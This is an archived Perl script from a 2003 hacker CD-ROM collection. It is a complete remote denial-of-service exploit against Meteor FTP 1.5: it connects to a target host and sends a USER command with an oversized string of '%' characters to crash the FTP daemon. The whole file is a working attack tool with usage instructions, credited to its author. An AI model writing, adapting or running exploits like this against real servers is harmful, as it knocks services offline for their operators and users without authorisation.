home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / meteordos / meteordos.pl
Encoding:
Perl Script  |  2003-08-19  |  1.3 KB  |  33 lines
  1. #!/usr/bin/perl
  2. #
  3. # meteordos.pl - Remote denial of service against Meteor FTP Version 1.5
  4. #
  5. # A vulnerability has been identified in Meteor FTP Version 1.5, which
  6. # allows malicious users to remotely crash the ftpd. By connecting to the 
  7. # ftpd and issuing USER followed by large amounts of data, the server 
  8. # crashes. For more info, go to : 
  9. # http://www.evicted.org/projects/writings/mftpadvisory.txt
  10. # 
  11. # Usage : ./meteordos.pl <host/ip>
  12. #
  13. # Vulnerability & code by zerash
  14. # Contact : zerash@evicted.org
  15.  
  16. use Net::FTP;
  17. $host = $ARGV[0];
  18.  
  19. if("$ARGV[0]" eq "") {
  20.     print("DoS against Meteor FTP Version 1.5 by zerash\@evicted.org\n");
  21.     die("Usage : ./meteorftpdos <host\/ip>\n");
  22. } else {    
  23.     
  24.     print("Connecting to $host...\n");
  25.     my $ftp = Net::FTP->new($host) or die "Couldn't connect to $host\n";
  26.     print("Connected!\n");
  27.     print("Attempting to exploit the ftpd...");
  28.     $ftp->login('%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%');
  29.     $ftp->quit;
  30.     print("Success!\n");
  31. }
  32.  
  33.